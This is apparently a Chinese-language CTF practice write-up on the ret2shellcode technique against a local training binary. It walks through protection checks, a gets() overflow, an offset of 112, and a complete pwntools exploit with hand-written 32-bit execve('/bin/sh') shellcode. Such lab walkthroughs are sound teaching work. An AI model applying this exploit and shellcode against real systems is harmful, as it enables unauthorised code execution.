ret2shellcode练习

1. 使用chesec检查文件保护的开启情况

ret2shellcode练习

 

 

2. 使用ojbdump查看是否存在system函数

ret2shellcode练习

 

 

3. 使用IDA查看反汇编后的伪C代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

发现函数get和strncpy,而且文件未开启NX保护,考虑使用ret2shellcode,将函数跳转到s或者buf2的位置,且构建shell覆盖其内存,若s或者buf2存在的段可执行,那么则可以getshell,查看其段的权限

4. 使用vmmap指令查看权限

ret2shellcode练习

 

 ret2shellcode练习

 

我们找到了buf2的地址,而且看到其存在可执行的权限,于是尝试构建shell,覆盖buf2并且跳转到buf2

5. 构建payload

1. 使用cyclic查看偏移地址为112

ret2shellcode练习

 

 2. 构造payload,生成exp.py

from pwn import *
context (arch = "i386", os = "linux", log_level = "debug")
p = process("./ret2shellcode2")
#shellcode = asm (shellcraft.sh())
shellcode = asm ("""
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")
payload = shellcode.ljust(112,a)+p32(0x804a080)
p.sendline(payload)
p.interactive()

可以使用asm(shellcraft.sh())自动生成,也可以自己构造(这里是32位的shellcode汇编代码)

6.运行exp.py,getshell

ret2shellcode练习

 

 附录:

1. 32位shellcode源码

ret2shellcode练习

 

 2. 64位shellcode源码

 ret2shellcode练习

 

ret2shellcode练习

上一篇:linux 内存清理/释放命令


下一篇:Linux中通往169.254.0.0/24的路由来自哪里